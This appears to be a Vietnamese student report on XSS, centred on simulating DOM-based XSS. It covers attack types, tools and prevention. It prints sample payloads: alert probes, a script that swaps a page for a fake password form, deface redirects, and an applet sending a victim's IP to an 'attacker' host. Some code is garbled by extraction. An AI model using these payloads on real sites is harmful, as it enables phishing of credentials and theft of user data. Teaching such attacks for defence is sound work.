Tải bản đầy đủ (.docx) (26 trang)

Mô phỏng tấn công DOM BASE XSS

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1.23 MB, 26 trang )

MỤC LỤC

MỤC LỤC HÌNH ẢNH

1


CHƯƠNG 1. TỔNG QUAN VỀ XSS
1.1. Khái niệm XSS
Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để
tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn
công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP …) những thẻ
HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người
sử dụng khác. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được
viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là
cả các thẻ HTML.
XSS là một trong những kỹ thuật hack website phổ biến nhất hiện nay bằng
cách chèn vào URL, chèn qua các thanh tìm kiếm hoặc chèn ở bất cứ 1 textbox nào
những thẻ HTML hoặc những đoạn mã script nguy hiểm, từ đó chiếm quyền điều
khiển của victim hoặc thực hiện những mệnh lệnh mà hacker đưa ra.
Lỗ hổng XSS xuất hiện từ giữa những năm 90 trong những ngày đầu của Web.
Khi đó, các trang Web thương mại điện tử bắt đầu xuất hiện ngày một nhiều. Các
trang Web sử dụng các khung HTML và JavaScript để xây dựng nội dụng sao cho
thật "cool". Javascript cho phép các nhà phát triển có thể xây dựng các trang Web
với ảnh động, menus nổi, các cửa sổ pop-up, v.v... Nhưng các hacker cũng nhanh
chóng nhận ra một lỗ hổng mới.
Các hacker nhận ra rằng, khi người dùng truy cập các trang Web, họ có thể tải
bất kỳ trang web (ngân hàng, bán đấu giá, cửa hàng, Web mail, v.v...) trên chung 1
cửa sổ trình duyệt Web. Và nếu sử dụng JavaScript, hacker có thể vượt qua ranh
giới giữa hai trang web, có thể đọc dữ liệu trang Web này từ 1 trang Web khác.
Hacker có thể ăn cắp tên và mật khẩu người dùng đã nhận, ăn cắp cookie, hay tác


động lên các thông tin cá nhân hiển thị trên màn hình.

Hinh 1.1. Minh họa XSS

1.2. Hoạt động của XSS
Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó cũng là các
yêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó các thông
2


tin vượt quá tầm kiểm soát của server. Nó có thể là một request được gửi từ các
form dữ liệu hoặc cũng có thể đó chỉ là các URL như là
đang bị lỗi
XSS!');</script>.
Và rất có thể trình duyệt của bạn sẽ hiện lên một popup thông báo "Website
đang bị lỗi XSS!".

Hình 1.2. Tấn công XSS

Các đoạn mã trong thẻ script không hề bị giới hạn bởi chúng hoàn toàn có thể
thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ
script. Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của
các lỗi XSS.
Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu
nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại
đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site
đó. Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website
nhưng đó vẫn chỉ tấn công vào bề mặt của website. Thật vậy, XSS là những ClientSide Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS
không làm ảnh hưởng đến hệ thống website nằm trên server.
Mục tiêu tấn công của XSS không ai khác chính là những người sử dụng khác

của website, khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các
hacker để lại họ có thể bị chuyển tới các website khác, đặt lại homepage, hay nặng
hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại
virus, backdoor, worm ..
1.3. Phân loại XSS
1.3.1. Non-Persistent( Reflected XSS).
Reflected XSS là dạng tấn công thường gặp nhất trong các loại hình XSS. Với
Reflected XSS, hacker không gửi dữ liệu độc hại lên server nạn nhân, mà gửi trực
3


tiếp link có chứa mã độc cho người dùng, khi người dùng click vào link này thì
trang web sẽ được load chung với các đoạn script độc hại. Reflected XSS thường
dùng để ăn cắp cookie, chiếm session,… của nạn nhân hoăc cài keylogger, trojan
… vào máy tính nạn nhân.
Dạng tấn công bằng Reflected XSS được mô tả như sau:

Hình 1.3. Mô hình Reflected

Như hình trên, ta có thể thấy được quá trình tấn công như sau:
Trước tiên, hacker sẽ gửi cho nạn nhân một đường link có chứa mã độc hại đi
kèm, ví dụ:
/>nhưng đường link trên sẽ dễ khiến nạn nhân chú ý và sẽ nghi ngờ, nên khi gửi
đường link trên cho nạn nhân, hacker có thể sẽ mã hoá nó thành những ký tự lạ khó
đọc, ví dụ:
http%3A%2F%2Fvictim.com%2Findex.php%3Fid%3D%3Cscript%3Ealert
%28document.cookie%29%3C%2Fscript%3E
như vậy, nạn nhân sẽ không nghi ngờ đường link lạ, và click vào link.
Khi nạn nhân click vào đường link được hacker gửi, trình duyệt sẽ load trang
web và thực thi các đoạn script kèm theo, sau đó gửi về cho hacker những thông tin

của nạn nhân.
4


1.3.2. Persistent XSS (Stored XSS)
Stored XSS là dạng tấn công mà hacker chèn trực tiếp các mã độc vào cơ sở
dữ liệu của website. Dạng tấn công này xảy ra khi các dữ liệu được gửi lên server
không được kiểm tra kỹ lưỡng mà lưu trực tiếp vào cơ sở dữ liệu. Khi người dùng
truy cập vào trang web này thì những đoạn script độc hại sẽ được thực thi chung
với quá trình load trang web.
Dạng tấn công bằng Stored XSS được mô tả như sau:

Hình 1.4. Mô hình Stored XSS

Như hình trên, ta có thể thấy được quá trình tấn công như sau:
Trước tiên, hacker sẽ khai thác lỗi Stored XSS trên website bằng cách tìm
những form (khung đăng ký, khung comment, khung liên hệ …) không được kiểm
tra kỹ dữ liệu đầu vào và tiến hành chèn các đoạn mã độc vào cơ sở dữ liệu.
Sau đó khi người dùng truy cập vào trang web có chứa dữ liệu liên quan đến
cơ sở dữ liệu này thì ngay lập tức, các đoạn script độc hại sẽ được chạy chung với
trang web.
Khi các đoạn script được thực thi, tuỳ vào mục đích của hacker, các đoạn
script sẽ gửi về cho hacker nhũng thông thông tin như cookie, session token …. đến
đây, coi như quá trình tấn công của hacker đã thành công.
1.3.3. DOM-based XSS
DOM-based XSS là một dạng tấn công XSS làm thay đổi cấu trúc của trang
web bằng cách thay đổi cấu trúc HTML. Đối với dạng tấn công này, hacker sẽ chèn
các đoạn script nhằm làm thay đổi giao diện mặc định của trang web thành một
5



giao diện giả, ví dụ như tạo ra form đăng nhập giả và dụ người dùng đăng nhập để
chiếm mật khẩu của họ. DOM-based XSS là một biến thể của Persistent XSS và
Non-Persistent XSS.
Để hiểu rõ hơn về DOM-based XSS chúng ta cùng xem xét ví dụ sau:
Ví dụ ta có một URL như sau: /><!DOCTYPE html>
<html>
<body>
<?php if(isset($_GET("name"))) { echo "Hello, " . $_GET["name"]; }?>
</body>
</html>
Như ta thấy, đoạn code trên dùng để hiện thị nội dung chào mừng người dùng
khi người dùng được chuyển hướng tới, tên của người dùng được lấy từ tham số:
/>URL trên sẽ chào mừng người dùng có tên: Hello, phpcoban
Xem xét source code class hello.php, ta thấy không có sự ràng buộc dữ liệu
nào, vì vậy, thay vì truyền tham số là phpcoban, ta có thể thay bằng:
<script>class="bdv_cx"
style="cursor:pointer;textdecoration:underline;color:#1E6EC1;" id="bdvrplc2" onMouseOver="return
escape('document');">document</span>.getElementById('hello').innerHTML="abel>Vui lòng xác nhận lại mật khẩu để tiếp tục: </label>type='password'/><button onclick='show()'>Submit</button>";function show()
{alert('HACKED');}</script>
Như vậy URL sẽ thành:
http://www</span>.victim.com/hello.php?
name=<script>document.getElementById('hello').innerHTML="<label>Vui lòng
xác
nhận
lại

mật
khẩu
để
tiếp
tục:</label><inputtype='password'/><buttononclick='show()'>Submit</button>"
;function show(){alert('HACKED');}</script>
Khi đó, giao diện của trang web sẽ thay đổi thành:

6


Khi người dùng nhập mật khẩu vào và nhấn Submit thì lập tức script sẽ được
thực thi và gửi về cho hacker mật khẩu của người dùng. Ở ví dụ trên đơn giản chỉ là
hiện ra chữ HACKED.
Qua ví dụ trên ta thấy cách tấn công của DOM-based XSS cũng tương đối
giống với cách tấn công của Reflected XSS là phải dụ người dùng click vào link có
chứa mã độc để thực hiện tấn công. Ngoài ra, cũng có thể thấy giao diện của trang
web có thể bị thay đổi bởi đoạn script được thêm vào, và sau đó nó sẽ thực thi như
là một phần của trang web, như vậy sẽ làm cho người dùng lầm tưởng và hacker sẽ
dễ dàng đạt được mục đích.
1.4. Các phương thức tấn công XSS
1.4.1. Đánh cắp cookie người dùng.
Cookie là một bộ nhắc nhở mà website lưu trữ ở trên máy tính của bạn có thể
địnhdanh cho bạn. Khi bạn truy cập và một trang web, website này sẽ đặt một
cookie tại trên máy đó, thay cho việc liên tục hỏi bạn các thông tin như nhau,
chươngtrình trên website có thể sao lưu thông tin vào một cookie mà khi cần thông
tin sẽ đọc cookie đó. Nếu không có cookie bạn sẽ phải nhập lại thông tin của mình
trên mỗi màn hình web. Thông tin duy nhất mà cookie lưu trữ là thông tin mà bản
thân bạn chia sẻ với website tạo ra cookie.
Cookie cho phép các công ty tiếp thị hoặc quảng cáo. Khi một hacker tiến

hành một cuộc tấn công truyền thống dựa vào thói quen và sở thích người dùng.
Thay vì tấn công trên diện rộng hacker sẽ tập trung khai thác vào khu vực dễ bị tổn
thương nhất trên website, sử dụng một vài thủ thuật đơn giản như dùng các thẻ
javascript/css và html kẻ tấn công sẽ thực hiện mục tiêu tấn công của mình như:
chiếm quyền hệ thống, thực hiện chuyển tiền…
Người dùng thường xuyên đăng nhập vào các WebSite phổ biến, biết được
khảnăng thành công khi tấn công vào các Website này là khá cao nên các attacker
thường thực hiện các cuộc tấn công với quy mô lớn. Kỹ thuật này sử dụng phương
pháp tương tự như JavaScript Port Scanning bằng việc kiểm tra lỗi đăng nhập
từgiao diện JavaScript Console, nhiều Website yêu cầu khi đăng nhập phải có
URLvà trả về nội dung HTML khác nhau tùy thuộc vào quá trình đăng nhập có
hoặc không.
Ví dụ: Quản lý tài khoản người dùng, người quản trị muốn thực hiện chức
năng trên bắt buộc phải được xác thực trước khi truy cập vào Website. Nếu URL‘s
được nạp một cách tự động thông qua thẻ <script src=‖> nó sẽ gây ra các lỗi khác
nhau và được ghi nhận qua giao diện JavaScrip Console bởi vì phản hồi ở đây là
các chuỗi dẫn xuất HTML

7


1.4.2. Tấn công qua mạng Intranet:
Hầu hết chúng ta tin rằng trong khi lướt Web mình đã được bảo vệ bởi tường
lửa,cách ly thông qua lớp địa chỉ IP riêng. Với sự hiểu biết này, giả sử các phần
mềm bảo mật của những trang Web mạng nội bộ và giao diện Web dựa trên các
thiết bị định tuyến router, hệ thống tường lửa, IP Phone…. thì ngay cả khi các bản
vá lỗi chưa được cập nhật chúng ta vẫn an toàn trong khu vực được bảo vệ bởi các
phần mềm bảo mật trên, điều này có vẻ không khả thi lắm. Trình duyệt Web hoàn
toàn có thể được kiểm soát bởi bất kỳ trang web nào, cho phép người dùng trở
thành tâm điểm cho các cuộc tấn công mạng nội bộ. Hãy tưởng tượng xem khi truy

cập vào một Website có chứa phần mềm độc hại với các đoạn mã JavaScript, nó có
thể cấu hình lại một cách tự động router hay tường lửa từ đó tạo thành một đường
hầm thông ra thế giới mạng bên ngoài.

Hình 1.5. Mô tả tấn công qua mạng Intranet

Các bước khai thác:
Bước 1: Một nạn nhân truy cập một trang Web độc hại hoặc nhấn vào một liên
kết không rõ ràng, sẽ bị nhúng mã JavaScript chứa phần mềm độc hại, sau đó sẽ
kiểm soát trình duyệt của họ.
Bước 2: Mã độc JavaScript Malware sẽ tải một ứng dụng trên nền Java Applet
và làm lộ ra địa chỉ IP của nạn nhân thông qua NAT IP.
Bước 3: Sau đó sử dụng trình duyệt của nạn nhân như một nền tảng để tấn
công, mã độc JavaScript sẽ xác định máy chủ Web trên mạng nội bộ.
Bước 4: Phát động tấn công công chống lại các Web nội bộ hoặc Web bên
ngoại, thu thập thông tin đánh cắp được và gửi ra mạng bên ngoài.
1.4.3. XSS Defacements
Cũng như các tiêu chuẩn về hack dựa trên nền Web, XSS Defacement có thể
gây ra khá nhiều sự hỗn loạn và nhầm lẫn khi chúng được sử dụng để hack một
8


trang Web. XSS Defacement ít có hại trong việc thay đổi các trang từ phía máy chủ
nhưng lại được thực hiện gián tiếp thông qua các mã JavaScript, CSS và các công
nghệ Web khác.
Có hai loại XSS Defacement: liên tục và không liên tục.
Mức độ nghiêm trọng của XSS Defacement liên tục là cao hơn so với XSS
Defacement không liên tục vì những kẻ tấn công có thể sẽ thay đổi vĩnh viễn thông
tin các trang bị tấn công như sửa đổi nội dung, đánh cắp một số thông tin cá nhân
của người dùng. Mặc dù kẻ tấn công không có quyền truy cập trực tiếp vào hệ

thống thông tin tại nơi trang Web bị lỗi XSS.
XSS Defacement không liên tục thường dễ dàng tìm kiếm và thực thi nhưng
để nó làm việc attacker sẽ lừa người dùng qua một URL cụ thể.
Một số cách Deface Website đơn giản:
Thay đổi màu của background.
<script>document.body.bgcolor= ― màu bất kỳ‖;</script>
Ví dụ:
/>Thay đổi hình nền.
<script>document.body.background="http://hình của bạn.jpg";</script>
Deface bằng PasteHTML:
Trước tiên, bạn upload trang deface của mình lên Pastehtml và sau đó lấy link.
Khi bạn tìm được trang nào bị lỗi XSS thì bạn đánh đoạn script sau vào URL:
<script>window.location=" />_upload";</script>
Đoạn script sẽ redirect đến trang deface của bạn đã upload.
1.4.4. Điều khiển duy trì
Javascript có một khả năng rất lớn trong việc điều khiển thông qua trình Duyệt
và các môi trường công khai khác, ngay cả trong trường hợp có sự hiện diện của
chính sách cùng nguồn (same-origin) và các thiết đặt của Internet Explorer (IE).
Javascript có thể truy cập cookies, nhận các phím được bấm, theo dõi trang Web
được truy cập. Điều đầu tiên chúng ta cần làm là cài đặt một phương pháp để duy
trì việc điều khiển thông qua trình duyệt, ngay cả khi người dùng click vào các link
khác.
1.4.5. Thu thập thông tin địa chỉ IP đã bị NAT
Bước tiếp theo trong quá trình khai thác mạng intranet là nhận địa chỉ IP đã bị
NAT của người dùng. Đề làm được điều này, chúng là cần gọi một applet Java đặc
9


biệt có tính năng này. Một trong số chúng là MyAddress được phát triển bởi Lars
Kindermann, bởi vì nó hoạt động tốt, rất dễ sử dụng, và gửi địa chỉ IP tới nơi mà

Javascript có thể truy cập được. Đoạn code sau tải MyAddress.class và sau đó mở
URL http://attacker/demo.html?IP=XXXX và dữ liệu này có thể được truy cập từ
xa.
<APPLET CODE="MyAddress.class">
<PARAM NAME="URL" VALUE="http://attacker/demo.html?IP=">
</APPLET>
1.5. Công cụ khai thác lỗ hỏng XSS
Việc tìm kiếm và lợi dụng lỗ hổng XSS rất phức tạp và tốn nhiều thời gian. Vì
vậy việc sử dụng các công cụ là rất cần thiết. Trong phần này, sẽ giới thiệu một vài
công cụ phổ biến.
1.5.1. Burp suite
Proxy là một máy chủ, làm trung gian giữa máy khách và các máy chủ Web.
Proxy sẽ nhận yêu cầu từ máy khách và gửi yêu cầu đến các máy chủ Web, sau đó
lại trả kết quả về cho máy khách. Thỉnh thoảng, proxy có thể được sử dụng để thay
đổi dữ liệu đến và đi, hoặc dụng nó để theo dõi các gói tin được gửi qua lại.

Hình 1.6. Công cụ Brupsuite

10


Burp Proxy là một phần của bộ công cụ viết bằng Java là Burp Suite, cho phép
thâm nhập vào các ứng dụng Web. Khi cấu hình và chạy Burp Proxy, bạn có thể
theo dõi mọi dữ liệu được gửi và nhận bởi một máy khách. Nó cho phép bạn tìm
các thông tin được gửi và thay đổi chúng. Tất nhiên những dữ liệu bị that đổi được
gửi đến trình duyệt của bạn, và nó chỉ có tác dụng với bạn mà thôi. Tuy nhiên, nếu
nó có thể tắt tính năng bảo vệ Javascript ở máy khách thì nó có thể thực hiện các
hành vi bất chính, như tấn công XSS. Nó cũng có thể được sử dụng để loại bỏ
nhiều thông tin có thể bị rò gỉ như cookie, các link dẫn, hoặc các thông tin dư thừa,
làm chậm việc khai thác lỗ hổng. Một tính năng hữu dụng khác là việc có thể

chuyển sang hex mode (nhìn mã hexa của gói tin), tính năng này đặc biệt hữu dụng
khi xem các trang Web sử dụng encode không chuẩn như US-ASCII hay UTF-16
Burp Proxy là một trong những công cụ hữu dụng nhất trong đánh giá bảo mật
các ứng dụng Web. Nó không chỉ giúp khám phá những thứ rõ ràng, nó có thể tuỳ
biến bằng cách viết các quy tắc riêng nếu bạn biết mình đang tìm kiếm điều gì. Ví
dụ, bạn chỉ muốn tìm các file XML để gỡ rối Ajax, bạn có thể viết quy tắc để Burp
Proxy thực hiện điều này.
1.5.2. Acunetix WVS
Acunetix WVS (Web Vulnerability Scanner) là chương trình tự động kiểm tra
các ứng dụng Web để tìm kiếm các lỗ hổng bảo mật như SQL Injection, hay CrossSite Scripting,… và tìm kiếm những chính sách đối với mật khẩu đăng nhập cũng
như các phương thức xác thực vào Web Site

Hình 1.7. Công cụ Acunetix

11


Acunetix WVS là một công cụ quét lỗi cho ứng dụng Web dựa trên một cơ sở
dữ liệu rộng lớn được cập nhật thường xuyên, với các thuật toán heuristic đáp ứng
được các cơ chế họat động phức tạp của môi trường Web. Acunetix WVS có thể tự
động kiểm tra các lổ hỗng thông dụng như cross site scripting, sql injection và các
mối nhạy cảm khác của những web site có thể truy cập bằng trình duyệt, hay những
ứng dụng được xây dụng trên các kỹ thuật tiên tiến như AJAX.. để thực hiện được
điều này Acunetix WVS dựa trên nhiều phương pháp và công cụ tích hợp để:
Crawling (lấy về) toàn bộ website gồm tất cả các liên kết trên site và cả trong
tập tin robots.txt sau đó hiển thị tòan bộ cấu trúc này một cách chi tiết.
Sau tiến trình cwarling và khám phá tình trạng của ứng dụng web, Acunetix
WVS tự động phát động các đợt tấn công đã được lập trình sẳn dựa trên các lổ
hổng, giống như khi web site bị 1 hacker tấn công thực sự, phân tích các trang và
những vị trí có thể nhập liệu cùng với các sự kết hợp khác nhau của dữ liệu đầu vào

có thể làm cho website hiển thị những thông tin nhạy cảm.
Sau khi tìm ra được các lổ hổng, Acunetix WVS thông báo trên các “Alerts
Node”, mỗi alert gồm các thông tin về lỗi cũng như các mối nguy hiểm có thể gặp
phải và “dĩ nhiên” là kèm theo các khuyến nghị về cách thức khắc phục.
Sau khi tiến trình kiểm tra hòan tất, chúng ta có thể lưu lại thành một tập tin để
phân tích sau này, với công cụ báo cáo chuyên nghiệp sẽ giúp cho các web master
dễ dàng tổng hợp các kết quả kiểm tra khác nhau trên ứng dụng Web của mình.
1.5.3. Các tiện ích mở rộng của Firefox
1.5.3.1. Live HTTP Header
Live HTTP Headers là một tiện ích mở rộng của Firefox giúp chúng ta phân
tích và tái hiện lại các truy vấn HTTP. Công cụ này có thể được cài đặt trực tiếp từ
địa chỉ . Ở đây, người dùng cũng có thể tìm thấy
nhiều thông tin hữu ích khác.
Có hai cách chính để sử dụng Live HTTP Headers. Nếu người dùng chỉ muốn
theo dõi lưu thông, chỉ cần mở một thanh hiển thị của LiveHTTPHeaders bằng cách
truy cập View > Sidebar > Live HTTP Headers. Tuy nhiên nếu bạn muốn sử dụng
toàn bộ tính năng, bạn nên mở nó trên một cửa sổ riêng biệt, bằng cách truy câp
Tools > Live HTTP Headers. Cửa sổ chương trình sẽ có dạng như hình dưới đây.

12


Hình 1.8. Tiện ích Live HTTP Header

LiveHTTPHeaders là một trong những công cụ hữu ích nhất khi nó được dùng
để tìm các lỗ hổng XSS. Chúng ta có thể dễ dàng truy cập nội dung các truy vấn,
thay đổi chúng và gửi chúng chỉ cần một vài click chuột. Nếu người dùng đã sử
dụng Live HTTP Headers, có thể dễ dàng nhận ra rằng, việc tái hiện các truy vấn
này sẽ cho kết quả ngay trên trình duyệt của bạn. Không giống như các công cụ
khác như proxy chẳng hạn, người dùng cần phải nhìn vào sự thay đổi cấu trúc

HTML. Live HTTP Headers cung cấp một giao diện trực quan với những thay đổi
được thể hiện ngay trên màn hình.
1.5.3.2. TamperData
TamperData là tiện ích duy nhất cho phép những người kiểm tra bảo mật trang
Web hay những kẻ tấn công có thể dễ dàng thay đổi nội dung của truy vấn trước khi
nó được gửi đến máy chủ. Bằng cách này, nó đưa ra những tính năng giống như
Replay của Live HTTP Headers nhưng TamperData cung cấp thêm nhiều tính năng
hữu ích khác.
TamperData có thể được cài đặt từ địa chỉ . Cửa
sổ tiện ích này giống như hình dưới đây khi truy cập từ Tools > Tamper Data

13


Hình 1.9. Tiện ích TamperData

Để bất đầu thay đổi dữ liệu, bạn hãy click Start Tamper và gửi truy vấn. Người
dùng có thể thay đổi bất kì thông tin nào bạn muốn và gửi nó đến máy chủ. Người
dùng có thể nhận ra rằng, rất nhiều lỗi XSS hay SQLInjection đều có chung một
vấn đề (vector tấn công giống nhau).
TamperData dung cấp một tính năng mà người dùng có thể dễ dàng lựa chọn
các vector người dùng muốn và chúng sẽ được thêm vào các trường tương ứng.
Điều này giúp quá trình tìm các bug dễ dàng hơn và nhanh hơn rất nhiều. Để sử
dụng vector, click chuột phải vào trường muốn thay đổi và chọn trong dang sách
được đưa ra. Người dùng có thể chọn giữa các menu con của data, XSS, SQL
vectors. Một khi vector được chọn, quá trình thay đổi truy vấn là hoàn toàn tự
động,chỉ cần ấn OK. Mọi thay đổi này sẽ cho kết quả ngay trên trình duyệt của
người dùng. Người dùng có thể dễ dàng quay lại, tìm hiểu và tái hiện các truy vấn
trên trình duyệt của mình.
Đó vẫn chưa phải là tất cả những gì TamperData dung cấp cho bạn. Tính năng

làm TamperData khác với các tiện ích khác chính là khả năng lựa chọn payload để
tấn công. TamperData được thiết kế để sử dụng như là một công cụ thử thâm nhập
hệ thống. Nó được tích hợp sẵn rất nhiều payload. Và cũng có thể thêm vào những
phần của riêng mình trong cửa sổ Extension Configuration. Để sử dụng tính năng
này, bạn click Options trên màn hình chính, có thể dễ dang lựa chọn các payload
trong danh sách được đưa ra. Tính năng này khiến TamperData là một công cụ tốt
nhất giúp bạn tìm kiếm các lỗ hổng XSS.

14


1.6. Phòng chống tấn công XSS
Để ngăn chặn XSS đòi hỏi phân biệt được giữa mã độc và nội dung web
- Khuyến khích loại bỏ những ký tự đặc biệt một cách cẩn thận dựa trên nội
dung bối cảnh HTML (phần thân, các thuộc tính, Javascript, CSS, URL) mà dữ liệu
sẽ xuất hiện. Người phát triển cần phải thực hiện điều này trong các ứng dụng của
họ trừ khi thư viện hiển thị đã làm
- Xác thực dữ liệu đầu vào hợp lệ qua “danh sách trắng” cũng được khuyến
khích nhưng đây không phải là một cách phòng thủ toàn diện bời vì nhiều ứng
dụng yêu cầu những kí tự đặc biệt. Nên giải mã bất cứ kí tự mã hóa nào và xác thực
độ dài, các kí tự, và định dạng của dữ liệu trước khi cho phép sử dụng dữ liệu đầu
vào đó.
- Hãy xem xét sử dụng tính năng mới của Mozilla ContentSecurity Policy sắp
được ra mắt trong Firefox 4 để bảo vệ chống lại tấn công XSS.[1]
Đối với người thiết kế và phát triển ứng dụng web
- Với những dữ liệu, thông tin nhập của người dùng, người thiết kế và phát triển ứng
dụng web cần thực hiện vài bước cơ bản sau:
- Chỉ chấp nhận những dữ liệu hợp lệ
- Từ chối nhận các dữ liệu hỏng
- Liên tục kiểm tra và lọc dữ liệu

- Tạo ra danh sách những thẻ HTML được phép sử dụng, xóa bỏ các thẻ <script>, coi
đoạn script đó như là đoạn trích dẫn lỗi
- Lọc dấu nháy đơn hay nháy kép
- Lọc kí tự NULL
- Xóa các kí tự “>”, “<” hoặc Output Endcoding các kí tự đó
- Vẫn cho phép nhập dữ liệu đặc biệt nhưng chúng sẽ đc mã hóa theo chuẩn riêng
Đối với người dùng
- Cấu hình lại trình duyệt để nhắc nhở người dùng có cho phép thực thi ngôn ngữ
kịch bản trên máy họ hay không? Tùy vào mức độ tin cậy mà người dùng sẽ quyết
đinh.
- Dùng Firefox: Có thể cài thêm tiện ích(Add-on) YesScript – kiểm soát script từ
website
- Dùng IE: Có thể vào Options/Setting/.. Chúng ta Disable Script
- Tương tự với Chrome và các trình duyệt khác
Khi chúng ta vào một trang web mới thì ta cần phải cân nhắc khi click vào
link, kiểm tra các link thật kĩ trước khi click. Và tóm lại, chúng ta sẽ an toàn hơn
khi cảnh giác cao hơn.

15


CHƯƠNG 2. KĨ THUẬT TẤN CÔNG DOM BASED XSS
2.1. Tổng quan DOM based XSS
DOM là một đặc tả kỹ thuật của W3C (World Wide Web Consortium), nó định
nghĩa các mô hình đối tượng để đại diện cho cấu trúc XML và HTML.
Trong thế giới của XML (eXtensible Markup Language), có 2 bộ phân tích cú
pháp chính là DOM và SAX. SAX là một cơ chế phân tích cú pháp, nó nhanh hơn
rất nhiều và cũng tốn ít bộ nhớ hơn, nhưng không trực quan. Bởi vì, trong SAX
không dễ dàng để đi ngược lại các nút tài liệu (có nghĩa là đây là cơ chế phân tích
một chiều). Mặt khác, bộ phân tích dựa trên DOM tải toàn bộ tài liệu như một cấu

trúc các đối tượng, nó bao gồm các phương thức, và các biến để dễ dàng di chuyển
bên trong tài liệu và thay đổi các nút, các giá trị và các thuộc tính.
Tấn công dựa trên DOM (DOM-based) là một biểu mẫu duy nhất của XSS,
được sử dụng tương tự như kiểu tấn công không liên tục, nhưng ở đây tải trọng mã
độc Javascript không cần phải được gửi hay dội lại từ trang Web để khai thác một
người dùng. Xét trường hợp ví dụ của chúng ở trên với một trang thương mại điện
tử như hình dưới, nơi mà trang Web có một tính năng hiển thị các quảng cáo bán
hàng.
Các trình duyệt Web làm việc với DOM. Khi một trang web được tải về, trình
duyệt sẽ phân tích các trang đó và tạo ra một cấu trúc các đối tượng. Hàm
getElementsByTagName là một hàm DOM tiêu chuẩn, nó được sử dụng để xác
định vị trí các nút XML/HTML dựa trên tên thẻ của chúng.

Hình 1.1. Mô hình DOM Based XSS

16


XSS dựa trên DOM là việc khai thác lỗ hổng kiểm tra xác thực đầu vào gây ra
trên máy khách chứ không phải máy chủ. Nói một cách khác, XSS dựa trên DOM
không phải là kết quả của lỗ hổng bởi các đoạn script trên máy chủ, mà là một xử
lý dữ liệu người dùng cung cấp không chính xác qua Javascript trên máy khách.
Cũng giống như các lỗ hổng XSS khác, XSS dựa trên DOM có thể được sử dụng để
ăn cắp các thông tin bí mật hoặc hijack tài khoản người dùng. Tuy nhiên, cần phải
hiểu rằng, lỗ hổng bảo mật này hoàn toàn phụ thuộc vào Javascript và việc sử dụng
các dữ liệu động nhận được từ cấu trúc DOM một cách không an toàn.
Dưới đây là một ví dụ đơn giản về XSS dựa trên DOM:

Hình 2.2. Ví dụ DOM Based XSS


Khi phân tích đoạn code trên, bạn dễ dàng nhận ra rằng developer đã quên mất
việc xử lý giá trị của tham số name, thứ mà được viết ngay bên trong tài liệu khi mà
nó được nhận
2.2. Kĩ thuật tấn công DOM Based XSS
2.2.1. Khai thác lỗ hổng XSS không duy trì dựa trên DOM
Giống như các lỗ hổng XSS thông thường, XSS dựa trên DOM có thể là duy
trì và hoặc không duy trì. Trong phần này, chúng ta sẽ xem xét XSS không duy trì
dựa trên DOM. Mã chương trình mới sẽ như sau:

17


Lưu đoạn code trên (demo1.html) và mở nó bằng trình duyệt Web. Ta sẽ thấy
nó ngay lập tức cho bạn một cái tên đó là guest.

Bạn có thể thay đối điều này bằng cách thêm vào truy vấn 1 tham số ở cuối
URL, sau demo1.html như sau:

18


Chúng ta thấy rõ tên người dung không còn là guest nữa mà đã được thay đổi
thành duc sau khi thêm ?name=duc vào URL .
Bây giờ, thử khai thác các lỗ hổng của ứng dụng này, bằng cách thêm chuỗi ký
tự sau vào thanh địa chỉ:
demo1.html?name=<script>alert('This website is hacked!!')</script>
Kết quả tấn công:

Hình 2.3. Kết quả tấn công


Hãy chú ý rằng những thiết đặt giống như ứng dụng mẫu này rất phổ biến
trong các ứng dụng AJAX. Người dùng không cần thiết phải nhập nickname của họ
trong tất cả những lần họ sử dụng ứng dụng. Họ có thể đơn giản là đánh dấu trang
cho chứa nickname sẵn cho họ, đó là một tính năng rất tiện lợi. Tuy nhiên, nếu
người phát triển không xử lý đầu vào, một lỗ hổng XSS rất dễ bị khai thác giống
như ví dụ trong phần trên.

19


2.2.2. Khai thác lỗ hổng XSS duy trì dựa trên DOM
Các ứng dụng AJAX thường được xây dựng để mô phỏng các chương trình
trên máy tính cá nhân thông thường. Người phát triển có thể tạo ra các hộp thoại,
các cửa sổ, tương tác với các hình ảnh và thay đổi các thuộc tính từ xa và có thể
thay đổi kể cả các dữ liệu được lưu trên máy chủ.
Ví dụ mẫu của chúng ta là một ứng dụng không có giao diện thân thiện cho
lắm. Nickname liên tục phải được thêm vào mỗi lần có người muốn chat. Và ở
phần này, chúng ta sẽ xây dựng một ứng dụng với tính năng mới, đó là ghi nhớ
nickname kể từ lần cuối cùng người dùng truy cập vào ứng dụng. Lưu đoạn mã sau
vào 1 tập tin, tuy nhiên lần này, bạn phải đưa nó lên một máy chủ Web nếu muốn
sử dụng nó.

Lý do phải lưu tập tin này trên máy chủ là bởi vì, ứng dụng này sử dụng
cookie. Tính năng cookie này có sẵn cho bất kỳ ứng dụng nào lấy dữ liệu và các tài
nguyên khác từ xa về thông qua các giao thức http:// và https://. Và bởi vì ứng dụng
là Javascript, không cần các đoạn script trên máy chủ. Bất cứ máy chủ Web nào
cũng có thể dùng để lưu trữ kiểu ứng dụng này. Trong môi trường Windows, bạn có
thể tải về và cài đặt WAMP hoặc cài đặt Apache trên Linux và thay đổi các thiết đặt
tương ứng.
Khi bạn đã nhập tên thông qua test.html?name=[YourName], bạn không cần

phải làm thêm lần nào nữa, bởi vì thông tin sẽ được lưu trữ ở cookie trong trình
